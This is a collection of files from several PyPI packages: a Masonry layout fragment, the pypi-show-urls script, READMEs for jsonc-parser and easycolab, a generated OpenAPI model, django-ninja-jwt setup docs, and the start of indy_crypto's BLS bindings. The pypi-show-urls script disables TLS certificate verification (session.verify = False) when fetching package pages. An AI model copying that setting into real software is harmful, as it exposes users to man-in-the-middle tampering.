var colSpan = Math[ mathMethod ]( item.size.outerWidth / this.columnWidth );
colSpan = Math.min( colSpan, this.cols );
// use horizontal or top column position
var colPosMethod = this.options.horizontalOrder ?
'_getHorizontalColPosition' : '_getTopColPosition';
var colPosition = this[ colPosMethod ]( colSpan, item );
// position the brick
var position = {
x: this.columnWidth * colPosition.col,
y: colPosition.y
};
// apply setHeight to necessary columns
var setHeight = colPosition.y + item.size.outerHeight;
var setMax = colSpan + colPosition.col;
for ( var i = colPosition.col; i < setMax; i++ ) {
this.colYs[i] = setHeight;
}
return position;
};
proto._getTopColPosition = function( colSpan ) {
var colGroup = this._getTopColGroup( colSpan );
// get the minimum Y value from the columns
var minimumY = Math.min.apply( Math, colGroup );
return {
col: colGroup.indexOf( minimumY ),
y: minimumY,
};
};
/**
* @param {Number} colSpan - number of columns the element spans
* @returns {Array} colGroup
*/
proto._getTopColGroup = function( colSpan ) {
if ( colSpan < 2 ) {
// if brick spans only one column, use all the column Ys
return this.colYs;
}
var colGroup = [];
// how many different places could this brick fit horizontally
var groupCount = this.cols + 1 - colSpan;
// for each group potential horizontal position
for ( var i = 0; i < groupCount; i++ ) {
colGroup[i] = this._getColGroupY( i, colSpan );
}
return colGroup;
};
proto._getColGroupY = function( col, colSpan ) {
if ( colSpan < 2 ) {
return this.colYs[ col ];
}
// make an array of colY values for that one group
var groupColYs = this.colYs.slice( col, col + colSpan );
// and get the max value of the array
return Math.max.apply( Math, groupColYs );
};
// get column position based on horizontal index. #873
proto._getHorizontalColPosition = function( colSpan, item ) {
var col = this.horizontalColIndex % this.cols;
var isOver = colSpan > 1 && col + colSpan > this.cols;
// shift to next row if item can't fit on current row
col = isOver ? 0 : col;
// don't let zero-size items take up space
var hasSize = item.size.outerWidth && item.size.outerHeight;
this.horizontalColIndex = hasSize ? col + colSpan : this.horizontalColIndex;
return {
col: col,
y: this._getColGroupY( col, colSpan ),
};
};
proto._manageStamp = function( stamp ) {
var stampSize = getSize( stamp );
var offset = this._getElementOffset( stamp );
// get the columns that this stamp affects
var isOriginLeft = this._getOption('originLeft');
var firstX = isOriginLeft ? offset.left : offset.right;
var lastX = firstX + stampSize.outerWidth;
var firstCol = Math.floor( firstX / this.columnWidth );
firstCol = Math.max( 0, firstCol );
var lastCol = Math.floor( lastX / this.columnWidth );
// lastCol should not go over if multiple of columnWidth #425
lastCol -= lastX % this.columnWidth ? 0 : 1;
lastCol = Math.min( this.cols - 1, lastCol );
// set colYs to bottom of the stamp
var isOriginTop = this._getOption('originTop');
var stampMaxY = ( isOriginTop ? offset.top : offset.bottom ) +
stampSize.outerHeight;
for ( var i = firstCol; i <= lastCol; i++ ) {
this.colYs[i] = Math.max( stampMaxY, this.colYs[i] );
}
};
proto._getContainerSize = function() {
this.maxY = Math.max.apply( Math, this.colYs );
var size = {
height: this.maxY
};
if ( this._getOption('fitWidth') ) {
size.width = this._getContainerFitWidth();
}
return size;
};
proto._getContainerFitWidth = function() {
var unusedCols = 0;
// count unused columns
var i = this.cols;
while ( --i ) {
if ( this.colYs[i] !== 0 ) {
break;
}
unusedCols++;
}
// fit container to columns that have been used
return ( this.cols - unusedCols ) * this.columnWidth - this.gutter;
};
proto.needsResizeLayout = function() {
var previousWidth = this.containerWidth;
this.getContainerWidth();
return previousWidth != this.containerWidth;
};
return Masonry;
}));
|
PypiClean
|
/pypi-show-urls-2.1.1.tar.gz/pypi-show-urls-2.1.1/pypi_show_urls/__main__.py
|
import argparse
import itertools
import sys
import urlparse
import xmlrpclib
import html5lib
import requests
from pkg_resources import safe_name
from pip.req import parse_requirements
from setuptools.package_index import distros_for_url
def installable(project, url):
normalized = safe_name(project).lower()
return bool([dist for dist in distros_for_url(url) if
safe_name(dist.project_name).lower() == normalized])
def version_for_url(project, url):
normalized = safe_name(project).lower()
return [dist for dist in distros_for_url(url) if
safe_name(dist.project_name).lower() == normalized][0].version
def process_page(html, package, url, verbose, requirements):
if verbose:
print("")
print(" Candidates from %s" % url)
print(" ----------------" + ("-" * len(url)))
installable_ = set()
for link in html.findall(".//a"):
if "href" in link.attrib:
try:
absolute_link = urlparse.urljoin(url, link.attrib["href"])
except Exception:
continue
if installable(package, absolute_link):
# If we have a requirements mapping, make sure the candidate
# we found matches atleast one of the specs
if requirements is not None:
version = version_for_url(package, absolute_link)
if not any([version in req
for req in requirements[package]]):
continue
if verbose:
print(" " + absolute_link)
installable_.add((url, absolute_link))
if not verbose:
print(" %s Candiates from %s" % (len(installable_), url))
return installable_
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-v", "--verbose", dest="verbose", action="store_true")
group = parser.add_argument_group('type')
group.add_argument("-p", "--packages",
dest="is_packages", action="store_true")
group.add_argument("-u", "--users", dest="is_users", action="store_true")
group.add_argument("-r", "--requirement-file",
dest="requirement_file", action="store_true")
parser.add_argument("items", nargs="+")
args = parser.parse_args()
if len(filter(None,
[args.is_packages, args.is_users, args.requirement_file])) > 1:
return "Must specify only one of -u, -p, and -r"
if (not args.is_packages and not args.is_users
and not args.requirement_file):
return "Must specify one of -u, -p, or -r"
if args.is_packages:
# A list of packages to look for
packages = args.items
if args.is_users:
# a list of users
users = args.items
xmlrpc = xmlrpclib.ServerProxy("https://pypi.python.org/pypi")
packages = []
for user in users:
packages.extend([x[1] for x in xmlrpc.user_packages(user)
if x[1] is not None])
requirements = None
if args.requirement_file:
class fakeopts:
default_vcs = ""
skip_requirements_regex = ""
# a list of requirements files to process
files = args.items
packages = []
requirements = {}
for filename in files:
for req in parse_requirements(filename, options=fakeopts):
requirements.setdefault(req.name, []).append(req.req)
packages.append(req.name)
# Should we run in verbose mode
verbose = args.verbose
session = requests.session()
session.verify = False
for package in packages:
print("")
print("Download candidates for %s" % package)
print("========================" + ("=" * len(package)))
# Grab the page from PyPI
url = "https://pypi.python.org/simple/%s/" % package
resp = session.get(url)
if resp.status_code == 404:
continue
resp.raise_for_status()
html = html5lib.parse(resp.content, namespaceHTMLElements=False)
spider = set()
installable_ = set()
for link in itertools.chain(
html.findall(".//a[@rel='download']"),
html.findall(".//a[@rel='homepage']")):
if "href" in link.attrib:
try:
absolute_link = urlparse.urljoin(url, link.attrib["href"])
except Exception:
continue
if not installable(package, absolute_link):
parsed = urlparse.urlparse(absolute_link)
if parsed.scheme.lower() in ["http", "https"]:
spider.add(absolute_link)
# Find installable links from the PyPI page
installable_ |= process_page(html, package, url, verbose, requirements)
# Find installable links from pages we spider
for link in spider:
try:
resp = session.get(link)
resp.raise_for_status()
except Exception:
continue
html = html5lib.parse(resp.content, namespaceHTMLElements=False)
installable_ |= process_page(html, package, link,
verbose, requirements)
# Find the ones only available externally
internal = set()
external = set()
for candidate in installable_:
version = version_for_url(package, candidate[1])
if (candidate[0] == url and
urlparse.urlparse(candidate[1]).netloc
== "pypi.python.org"):
internal.add(version)
else:
external.add(version)
# Display information
if verbose:
print("")
print(" Versions only available externally")
print(" ----------------------------------")
for version in (external - internal):
print(" " + version)
else:
print(" %s versions only available externally" %
len((external - internal)))
if __name__ == "__main__":
sys.exit(main())
|
PypiClean
|
/json-lsp-0.2.0.tar.gz/json-lsp-0.2.0/json_lsp/node_modules/jsonc-parser/README.md
|
# jsonc-parser
Scanner and parser for JSON with comments.
[](https://www.npmjs.org/package/jsonc-parser)
[](https://npmjs.org/package/jsonc-parser)
[](https://travis-ci.org/Microsoft/node-jsonc-parser)
Why?
----
JSONC is JSON with JavaScript style comments. This node module provides a scanner and fault tolerant parser that can process JSONC but is also useful for standard JSON.
- the *scanner* tokenizes the input string into tokens and token offsets
- the *visit* function implements a 'SAX' style parser with callbacks for the encountered properties and values.
- the *parseTree* function computes a hierarchical DOM with offsets representing the encountered properties and values.
- the *parse* function evaluates the JavaScipt object represented by JSON string in a fault tolerant fashion.
- the *getLocation* API returns a location object that describes the property or value located at a given offset in a JSON document.
- ths *findNodeAtLocation* API finds the node at a given location path in a JSON DOM.
- the *format* API computes edits to format a JSON document.
- the *modify* API computes edits to insert, remove or replace a property or value in a JSON document.
- the *applyEdits* API applies edits to a document.
Installation
------------
npm install --save jsonc-parser
API
---
### Scanner:
```typescript
/**
* Creates a JSON scanner on the given text.
* If ignoreTrivia is set, whitespaces or comments are ignored.
*/
export function createScanner(text:string, ignoreTrivia:boolean = false):JSONScanner;
/**
* The scanner object, representing a JSON scanner at a position in the input string.
*/
export interface JSONScanner {
/**
* Sets the scan position to a new offset. A call to 'scan' is needed to get the first token.
*/
setPosition(pos: number): any;
/**
* Read the next token. Returns the tolen code.
*/
scan(): SyntaxKind;
/**
* Returns the current scan position, which is after the last read token.
*/
getPosition(): number;
/**
* Returns the last read token.
*/
getToken(): SyntaxKind;
/**
* Returns the last read token value. The value for strings is the decoded string content. For numbers its of type number, for boolean it's true or false.
*/
getTokenValue(): string;
/**
* The start offset of the last read token.
*/
getTokenOffset(): number;
/**
* The length of the last read token.
*/
getTokenLength(): number;
/**
* An error code of the last scan.
*/
getTokenError(): ScanError;
}
```
### Parser:
```typescript
export interface ParseOptions {
disallowComments?: boolean;
}
/**
* Parses the given text and returns the object the JSON content represents. On invalid input, the parser tries to be as fault lolerant as possible, but still return a result.
* Therefore always check the errors list to find out if the input was valid.
*/
export declare function parse(text: string, errors?: {error: ParseErrorCode;}[], options?: ParseOptions): any;
/**
* Parses the given text and invokes the visitor functions for each object, array and literal reached.
*/
export declare function visit(text: string, visitor: JSONVisitor, options?: ParseOptions): any;
export interface JSONVisitor {
/**
* Invoked when an open brace is encountered and an object is started. The offset and length represent the location of the open brace.
*/
onObjectBegin?: (offset: number, length: number) => void;
/**
* Invoked when a property is encountered. The offset and length represent the location of the property name.
*/
onObjectProperty?: (property: string, offset: number, length: number) => void;
/**
* Invoked when a closing brace is encountered and an object is completed. The offset and length represent the location of the closing brace.
*/
onObjectEnd?: (offset: number, length: number) => void;
/**
* Invoked when an open bracket is encountered. The offset and length represent the location of the open bracket.
*/
onArrayBegin?: (offset: number, length: number) => void;
/**
* Invoked when a closing bracket is encountered. The offset and length represent the location of the closing bracket.
*/
onArrayEnd?: (offset: number, length: number) => void;
/**
* Invoked when a literal value is encountered. The offset and length represent the location of the literal value.
*/
onLiteralValue?: (value: any, offset: number, length: number) => void;
/**
* Invoked when a comma or colon separator is encountered. The offset and length represent the location of the separator.
*/
onSeparator?: (charcter: string, offset: number, length: number) => void;
/**
* When comments are allowed, invoked when a line or block comment is encountered. The offset and length represent the location of the comment.
*/
onComment?: (offset: number, length: number) => void;
/**
* Invoked on an error.
*/
onError?: (error: ParseErrorCode, offset: number, length: number) => void;
}
/**
* Parses the given text and returns a tree representation the JSON content. On invalid input, the parser tries to be as fault tolerant as possible, but still return a result.
*/
export declare function parseTree(text: string, errors?: ParseError[], options?: ParseOptions): Node;
export declare type NodeType = "object" | "array" | "property" | "string" | "number" | "boolean" | "null";
export interface Node {
type: NodeType;
value?: any;
offset: number;
length: number;
columnOffset?: number;
parent?: Node;
children?: Node[];
}
```
### Utilities:
```typescript
/**
* Takes JSON with JavaScript-style comments and remove
* them. Optionally replaces every none-newline character
* of comments with a replaceCharacter
*/
export declare function stripComments(text: string, replaceCh?: string): string;
/**
* For a given offset, evaluate the location in the JSON document. Each segment in the location path is either a property name or an array index.
*/
export declare function getLocation(text: string, position: number): Location;
export declare type Segment = string | number;
export interface Location {
/**
* The previous property key or literal value (string, number, boolean or null) or undefined.
*/
previousNode?: Node;
/**
* The path describing the location in the JSON document. The path consists of a sequence strings
* representing an object property or numbers for array indices.
*/
path: Segment[];
/**
* Matches the locations path against a pattern consisting of strings (for properties) and numbers (for array indices).
* '*' will match a single segment, of any property name or index.
* '**' will match a sequece of segments or no segment, of any property name or index.
*/
matches: (patterns: Segment[]) => boolean;
/**
* If set, the location's offset is at a property key.
*/
isAtPropertyKey: boolean;
}
/**
* Finds the node at the given path in a JSON DOM.
*/
export function findNodeAtLocation(root: Node, path: JSONPath): Node | undefined;
/**
* Evaluates the JavaScript object of the given JSON DOM node
*/
export function getNodeValue(node: Node): any;
/**
* Computes the edits needed to format a JSON document.
*
* @param documentText The input text
* @param range The range to format or `undefined` to format the full content
* @param options The formatting options
* @returns A list of edit operations describing the formatting changes to the original document. Edits can be either inserts, replacements or
* removals of text segments. All offsets refer to the original state of the document. No two edits must change or remove the same range of
* text in the original document. However, multiple edits can have
* the same offset, for example multiple inserts, or an insert followed by a remove or replace. The order in the array defines which edit is applied first.
* To apply edits to an input, you can use `applyEdits`
*/
export function format(documentText: string, range: Range, options: FormattingOptions): Edit[];
/**
* Computes the edits needed to modify a value in the JSON document.
*
* @param documentText The input text
* @param path The path of the value to change. The path represents either to the document root, a property or an array item.
* If the path points to an non-existing property or item, it will be created.
* @param value The new value for the specified property or item. If the value is undefined,
* the property or item will be removed.
* @param options Options
* @returns A list of edit operations describing the formatting changes to the original document. Edits can be either inserts, replacements or
* removals of text segments. All offsets refer to the original state of the document. No two edits must change or remove the same range of
* text in the original document. However, multiple edits can have
* the same offset, for example multiple inserts, or an insert followed by a remove or replace. The order in the array defines which edit is applied first.
* To apply edits to an input, you can use `applyEdits`
*/
export function modify(text: string, path: JSONPath, value: any, options: ModificationOptions): Edit[];
/**
* Applies edits to a input string.
*/
export function applyEdits(text: string, edits: Edit[]): string;
/**
* Represents a text modification
*/
export interface Edit {
/**
* The start offset of the modification.
*/
offset: number;
/**
* The length of the modification. Must not be negative. Empty length represents an *insert*.
*/
length: number;
/**
* The new content. Empty content represents a *remove*.
*/
content: string;
}
/**
* A text range in the document
*/
export interface Range {
/**
* The start offset of the range.
*/
offset: number;
/**
* The length of the range. Must not be negative.
*/
length: number;
}
export interface FormattingOptions {
/**
* If indentation is based on spaces (`insertSpaces` = true), then what is the number of spaces that make an indent?
*/
tabSize: number;
/**
* Is indentation based on spaces?
*/
insertSpaces: boolean;
/**
* The default 'end of line' character
*/
eol: string;
}
```
License
-------
(MIT License)
Copyright 2018, Microsoft
|
PypiClean
|
/nexuscloud-client-1.0.9.tar.gz/nexuscloud-client-1.0.9/nexuscloud_client/model/nexus_insights_api_v1_protocols_top_entities_get200_response.py
|
import re # noqa: F401
import sys # noqa: F401
from nexuscloud_client.model_utils import ( # noqa: F401
ApiTypeError,
ModelComposed,
ModelNormal,
ModelSimple,
cached_property,
change_keys_js_to_python,
convert_js_args_to_python_args,
date,
datetime,
file_type,
none_type,
validate_get_composed_info,
OpenApiModel
)
from nexuscloud_client.exceptions import ApiAttributeError
def lazy_import():
from nexuscloud_client.model.nexus_insights_api_v1_protocols_top_entities_get200_response_entries_inner import NexusInsightsApiV1ProtocolsTopEntitiesGet200ResponseEntriesInner
globals()['NexusInsightsApiV1ProtocolsTopEntitiesGet200ResponseEntriesInner'] = NexusInsightsApiV1ProtocolsTopEntitiesGet200ResponseEntriesInner
class NexusInsightsApiV1ProtocolsTopEntitiesGet200Response(ModelNormal):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
Attributes:
allowed_values (dict): The key is the tuple path to the attribute
and the for var_name this is (var_name,). The value is a dict
with a capitalized key describing the allowed value and an allowed
value. These dicts store the allowed enum values.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
discriminator_value_class_map (dict): A dict to go from the discriminator
variable value to the discriminator class name.
validations (dict): The key is the tuple path to the attribute
and the for var_name this is (var_name,). The value is a dict
that stores validations for max_length, min_length, max_items,
min_items, exclusive_maximum, inclusive_maximum, exclusive_minimum,
inclusive_minimum, and regex.
additional_properties_type (tuple): A tuple of classes accepted
as additional properties values.
"""
allowed_values = {
}
validations = {
}
@cached_property
def additional_properties_type():
"""
This must be a method because a model may have properties that are
of type self, this must run after the class is loaded
"""
lazy_import()
return (bool, date, datetime, dict, float, int, list, str, none_type,) # noqa: E501
_nullable = False
@cached_property
def openapi_types():
"""
This must be a method because a model may have properties that are
of type self, this must run after the class is loaded
Returns
openapi_types (dict): The key is attribute name
and the value is attribute type.
"""
lazy_import()
return {
'description': (str,), # noqa: E501
'entries': ([NexusInsightsApiV1ProtocolsTopEntitiesGet200ResponseEntriesInner],), # noqa: E501
'offset': (float,), # noqa: E501
'stat_name': (str,), # noqa: E501
'total_items_count': (float,), # noqa: E501
'total_results_count': (float,), # noqa: E501
}
@cached_property
def discriminator():
return None
attribute_map = {
'description': 'description', # noqa: E501
'entries': 'entries', # noqa: E501
'offset': 'offset', # noqa: E501
'stat_name': 'statName', # noqa: E501
'total_items_count': 'totalItemsCount', # noqa: E501
'total_results_count': 'totalResultsCount', # noqa: E501
}
read_only_vars = {
}
_composed_schemas = {}
@classmethod
@convert_js_args_to_python_args
def _from_openapi_data(cls, *args, **kwargs): # noqa: E501
"""NexusInsightsApiV1ProtocolsTopEntitiesGet200Response - a model defined in OpenAPI
Keyword Args:
_check_type (bool): if True, values for parameters in openapi_types
will be type checked and a TypeError will be
raised if the wrong type is input.
Defaults to True
_path_to_item (tuple/list): This is a list of keys or values to
drill down to the model in received_data
when deserializing a response
_spec_property_naming (bool): True if the variable names in the input data
are serialized names, as specified in the OpenAPI document.
False if the variable names in the input data
are pythonic names, e.g. snake case (default)
_configuration (Configuration): the instance to use when
deserializing a file_type parameter.
If passed, type conversion is attempted
If omitted no type conversion is done.
_visited_composed_classes (tuple): This stores a tuple of
classes that we have traveled through so that
if we see that class again we will not use its
discriminator again.
When traveling through a discriminator, the
composed schema that is
is traveled through is added to this set.
For example if Animal has a discriminator
petType and we pass in "Dog", and the class Dog
allOf includes Animal, we move through Animal
once using the discriminator, and pick Dog.
Then in Dog, we will make an instance of the
Animal class but this time we won't travel
through its discriminator because we passed in
_visited_composed_classes = (Animal,)
description (str): [optional] # noqa: E501
entries ([NexusInsightsApiV1ProtocolsTopEntitiesGet200ResponseEntriesInner]): [optional] # noqa: E501
offset (float): [optional] # noqa: E501
stat_name (str): [optional] # noqa: E501
total_items_count (float): [optional] # noqa: E501
total_results_count (float): [optional] # noqa: E501
"""
_check_type = kwargs.pop('_check_type', True)
_spec_property_naming = kwargs.pop('_spec_property_naming', True)
_path_to_item = kwargs.pop('_path_to_item', ())
_configuration = kwargs.pop('_configuration', None)
_visited_composed_classes = kwargs.pop('_visited_composed_classes', ())
self = super(OpenApiModel, cls).__new__(cls)
if args:
for arg in args:
if isinstance(arg, dict):
kwargs.update(arg)
else:
raise ApiTypeError(
"Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % (
args,
self.__class__.__name__,
),
path_to_item=_path_to_item,
valid_classes=(self.__class__,),
)
self._data_store = {}
self._check_type = _check_type
self._spec_property_naming = _spec_property_naming
self._path_to_item = _path_to_item
self._configuration = _configuration
self._visited_composed_classes = _visited_composed_classes + (self.__class__,)
for var_name, var_value in kwargs.items():
if var_name not in self.attribute_map and \
self._configuration is not None and \
self._configuration.discard_unknown_keys and \
self.additional_properties_type is None:
# discard variable.
continue
setattr(self, var_name, var_value)
return self
required_properties = set([
'_data_store',
'_check_type',
'_spec_property_naming',
'_path_to_item',
'_configuration',
'_visited_composed_classes',
])
@convert_js_args_to_python_args
def __init__(self, *args, **kwargs): # noqa: E501
"""NexusInsightsApiV1ProtocolsTopEntitiesGet200Response - a model defined in OpenAPI
Keyword Args:
_check_type (bool): if True, values for parameters in openapi_types
will be type checked and a TypeError will be
raised if the wrong type is input.
Defaults to True
_path_to_item (tuple/list): This is a list of keys or values to
drill down to the model in received_data
when deserializing a response
_spec_property_naming (bool): True if the variable names in the input data
are serialized names, as specified in the OpenAPI document.
False if the variable names in the input data
are pythonic names, e.g. snake case (default)
_configuration (Configuration): the instance to use when
deserializing a file_type parameter.
If passed, type conversion is attempted
If omitted no type conversion is done.
_visited_composed_classes (tuple): This stores a tuple of
classes that we have traveled through so that
if we see that class again we will not use its
discriminator again.
When traveling through a discriminator, the
composed schema that is
is traveled through is added to this set.
For example if Animal has a discriminator
petType and we pass in "Dog", and the class Dog
allOf includes Animal, we move through Animal
once using the discriminator, and pick Dog.
Then in Dog, we will make an instance of the
Animal class but this time we won't travel
through its discriminator because we passed in
_visited_composed_classes = (Animal,)
description (str): [optional] # noqa: E501
entries ([NexusInsightsApiV1ProtocolsTopEntitiesGet200ResponseEntriesInner]): [optional] # noqa: E501
offset (float): [optional] # noqa: E501
stat_name (str): [optional] # noqa: E501
total_items_count (float): [optional] # noqa: E501
total_results_count (float): [optional] # noqa: E501
"""
_check_type = kwargs.pop('_check_type', True)
_spec_property_naming = kwargs.pop('_spec_property_naming', False)
_path_to_item = kwargs.pop('_path_to_item', ())
_configuration = kwargs.pop('_configuration', None)
_visited_composed_classes = kwargs.pop('_visited_composed_classes', ())
if args:
for arg in args:
if isinstance(arg, dict):
kwargs.update(arg)
else:
raise ApiTypeError(
"Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % (
args,
self.__class__.__name__,
),
path_to_item=_path_to_item,
valid_classes=(self.__class__,),
)
self._data_store = {}
self._check_type = _check_type
self._spec_property_naming = _spec_property_naming
self._path_to_item = _path_to_item
self._configuration = _configuration
self._visited_composed_classes = _visited_composed_classes + (self.__class__,)
for var_name, var_value in kwargs.items():
if var_name not in self.attribute_map and \
self._configuration is not None and \
self._configuration.discard_unknown_keys and \
self.additional_properties_type is None:
# discard variable.
continue
setattr(self, var_name, var_value)
if var_name in self.read_only_vars:
raise ApiAttributeError(f"`{var_name}` is a read-only attribute. Use `from_openapi_data` to instantiate "
f"class with read only attributes.")
|
PypiClean
|
/django-ninja-jwt-5.2.5.tar.gz/django-ninja-jwt-5.2.5/docs/getting_started.md
|
#### Requirements
- Python >= 3.6
- Django >= 2.1
- Django-Ninja >= 0.16.1
- Django-Ninja-Extra >= 0.11.0
These are the officially supported python and package versions. Other
versions will probably work. You 're free to modify the tox config and
see what is possible.
Installation
============
Ninja JWT can be installed with pip:
pip install django-ninja-jwt
Also, you need to register `NinjaJWTDefaultController` controller to you Django-Ninja api.
The `NinjaJWTDefaultController` comes with three routes `obtain_token`, `refresh_token` and `verify_token`
```python
from ninja_jwt.controller import NinjaJWTDefaultController
from ninja_extra import NinjaExtraAPI
api = NinjaExtraAPI()
api.register_controllers(NinjaJWTDefaultController)
```
The `NinjaJWTDefaultController` comes with three routes `obtain_token`, `refresh_token` and `verify_token`.
It is a combination of two subclass `TokenVerificationController` and `TokenObtainPairController`.
If you wish to customize these routes, you can inherit from these controllers and change its implementation
```python
from ninja_extra import api_controller
from ninja_jwt.controller import TokenObtainPairController
@api_controller('token', tags=['Auth'])
class MyCustomController(TokenObtainPairController):
"""obtain_token and refresh_token only"
...
api.register_controllers(MyCustomController)
```
If you wish to use localizations/translations, simply add `ninja_jwt` to
`INSTALLED_APPS`.
```python
INSTALLED_APPS = [
...
'ninja_jwt',
...
]
```
Usage
=====
To verify that Ninja JWT is working, you can use curl to issue a couple
of test requests:
``` {.sourceCode .bash}
curl \
-X POST \
-H "Content-Type: application/json" \
-d '{"username": "davidattenborough", "password": "boatymcboatface"}' \
http://localhost:8000/api/token/pair
...
{
"access":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX3BrIjoxLCJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiY29sZF9zdHVmZiI6IuKYgyIsImV4cCI6MTIzNDU2LCJqdGkiOiJmZDJmOWQ1ZTFhN2M0MmU4OTQ5MzVlMzYyYmNhOGJjYSJ9.NHlztMGER7UADHZJlxNG0WSi22a2KaYSfd1S-AuT7lU",
"refresh":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX3BrIjoxLCJ0b2tlbl90eXBlIjoicmVmcmVzaCIsImNvbGRfc3R1ZmYiOiLimIMiLCJleHAiOjIzNDU2NywianRpIjoiZGUxMmY0ZTY3MDY4NDI3ODg5ZjE1YWMyNzcwZGEwNTEifQ.aEoAYkSJjoWH1boshQAaTkf8G3yn0kapko6HFRt7Rh4"
}
```
You can use the returned access token to prove authentication for a
protected view:
``` {.sourceCode .bash}
curl \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX3BrIjoxLCJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiY29sZF9zdHVmZiI6IuKYgyIsImV4cCI6MTIzNDU2LCJqdGkiOiJmZDJmOWQ1ZTFhN2M0MmU4OTQ5MzVlMzYyYmNhOGJjYSJ9.NHlztMGER7UADHZJlxNG0WSi22a2KaYSfd1S-AuT7lU" \
http://localhost:8000/api/some-protected-view/
```
When this short-lived access token expires, you can use the longer-lived
refresh token to obtain another access token:
``` {.sourceCode .bash}
curl \
-X POST \
-H "Content-Type: application/json" \
-d '{"refresh":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX3BrIjoxLCJ0b2tlbl90eXBlIjoicmVmcmVzaCIsImNvbGRfc3R1ZmYiOiLimIMiLCJleHAiOjIzNDU2NywianRpIjoiZGUxMmY0ZTY3MDY4NDI3ODg5ZjE1YWMyNzcwZGEwNTEifQ.aEoAYkSJjoWH1boshQAaTkf8G3yn0kapko6HFRt7Rh4"}' \
http://localhost:8000/api/token/refresh/
...
{"access":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX3BrIjoxLCJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiY29sZF9zdHVmZiI6IuKYgyIsImV4cCI6MTIzNTY3LCJqdGkiOiJjNzE4ZTVkNjgzZWQ0NTQyYTU0NWJkM2VmMGI0ZGQ0ZSJ9.ekxRxgb9OKmHkfy-zs1Ro_xs1eMLXiR17dIDBVxeT-w"}
```
Cryptographic Dependencies (Optional)
-------------------------------------
If you are planning on encoding or decoding tokens using certain digital
signature algorithms (i.e. RSA and ECDSA; visit PyJWT for other algorithms), you will need to install the
cryptography_ library. This can be installed explicitly, or as a required
extra in the `django-ninja-jwt` requirement:
pip install django-ninja-jwt[crypto]
The `django-ninja-jwt[crypto]` format is recommended in requirements
files in projects using `Ninja JWT`, as a separate `cryptography` requirement
line may later be mistaken for an unused requirement and removed.
[cryptography](https://cryptography.io)
|
PypiClean
|
/easycolab-0.1b24.tar.gz/easycolab-0.1b24/README.md
|
# EasyColab
Easy access to the most useful commands of Google Colab. This Python package is like an API for simplifying some commands that have to be used all the time when initializing Colab sections such as mounting Google drive folders, download of big files and zip/unzip files.
## How to install
1. Open a Google Colab Session.
2. On a new cell, type:
```
!pip install easycolab
```
3. Try importing easycolab to check if the installation worked:
```
import easycolab as ec
```
## Implemented Features
Open the following link on Playground mode in order to test the implemented features: https://colab.research.google.com/drive/1hJYJpy4TtKUy2i7IK7YnIwk3kHhXe-WV
- Mount on Google Drive
```
>>> ec.mount()
```
- Open Google Drive folder:
```
>>> ec.openmydrive()
```
- Unzip File
```
>>> import easycolab as ec
>>> ec.unzip(path)
```
- Download large files
```
>>> url = "https://raw.githubusercontent.com/mlampros/DataSets/master/cifar_10.zip"
>>> ec.download_large_file(url, target_path='cifar.zip')
```
## Licence
MIT
|
PypiClean
|
/indy_crypto-0.5.1-rc-31.tar.gz/indy_crypto-0.5.1-rc-31/indy_crypto/bls.py
|
import logging
from ctypes import *
from typing import Optional
from .lib import do_call
class BlsEntity:
"""
Base class for BLS Entities (Generator, SignKey, VerKey, Signature, MultiSignature).
"""
new_handler = None
from_bytes_handler = None
as_bytes_handler = None
free_handler = None
def __init__(self, c_instance: c_void_p):
logger = logging.getLogger(__name__)
logger.debug("BlsEntity.__init__: >>> self: %r, instance: %r", self, c_instance)
self.c_instance = c_instance
@classmethod
def from_bytes(cls, xbytes: bytes) -> 'BlsEntity':
"""
Creates and Bls entity from bytes representation.
:param xbytes: Bytes representation of Bls entity
:return: BLS entity intance
"""
logger = logging.getLogger(__name__)
logger.debug("BlsEntity::from_bytes: >>>")
c_instance = c_void_p()
do_call(cls.from_bytes_handler, xbytes, len(xbytes), byref(c_instance))
res = cls(c_instance)
logger.debug("BlsEntity::from_bytes: <<< res: %r", res)
return res
def as_bytes(self) -> bytes:
"""
Returns BLS entity bytes representation.
:return: BLS entity bytes representation
"""
logger = logging.getLogger(__name__)
logger.debug("BlsEntity.as_bytes: >>> self: %r", self)
xbytes = POINTER(c_ubyte)()
xbytes_len = c_size_t()
do_call(self.as_bytes_handler, self.c_instance, byref(xbytes), byref(xbytes_len))
res = bytes(xbytes[:xbytes_len.value])
logger.debug("BlsEntity.as_bytes: <<< res: %r", res)
return res
def __del__(self):
logger = logging.getLogger(__name__)
logger.debug("BlsEntity.__del__: >>> self: %r", self)
do_call(self.free_handler, self.c_instance)
class Generator(BlsEntity):
"""
BLS generator point.
BLS algorithm requires choosing of generator point that must be known to all parties.
The most of BLS methods require generator to be provided.
"""
new_handler = 'indy_crypto_bls_generator_new'
from_bytes_handler = 'indy_crypto_bls_generator_from_bytes'
as_bytes_handler = 'indy_crypto_bls_generator_as_bytes'
free_handler = 'indy_crypto_bls_generator_free'
@classmethod
def new(cls) -> 'Generator':
"""
Creates and returns random generator point that satisfy BLS algorithm requirements.
:return: BLS generator
"""
logger = logging.getLogger(__name__)
logger.debug("Generator::new: >>>")
c_instance = c_void_p()
do_call(cls.new_handler, byref(c_instance))
res = cls(c_instance)
logger.debug("Generator::new: <<< res: %r", res)
return res
class SignKey(BlsEntity):
"""
BLS sign key.
"""
new_handler = 'indy_crypto_bls_sign_key_new'
from_bytes_handler = 'indy_crypto_bls_sign_key_from_bytes'
as_bytes_handler = 'indy_crypto_bls_sign_key_as_bytes'
free_handler = 'indy_crypto_bls_sign_key_free'
@classmethod
def new(cls, seed: Optional[bytes]) -> 'SignKey':
"""
Creates and returns random (or seeded from seed) BLS sign key.
:param: seed - Optional seed.
:return: BLS sign key
"""
logger = logging.getLogger(__name__)
logger.debug("SignKey::new: >>>")
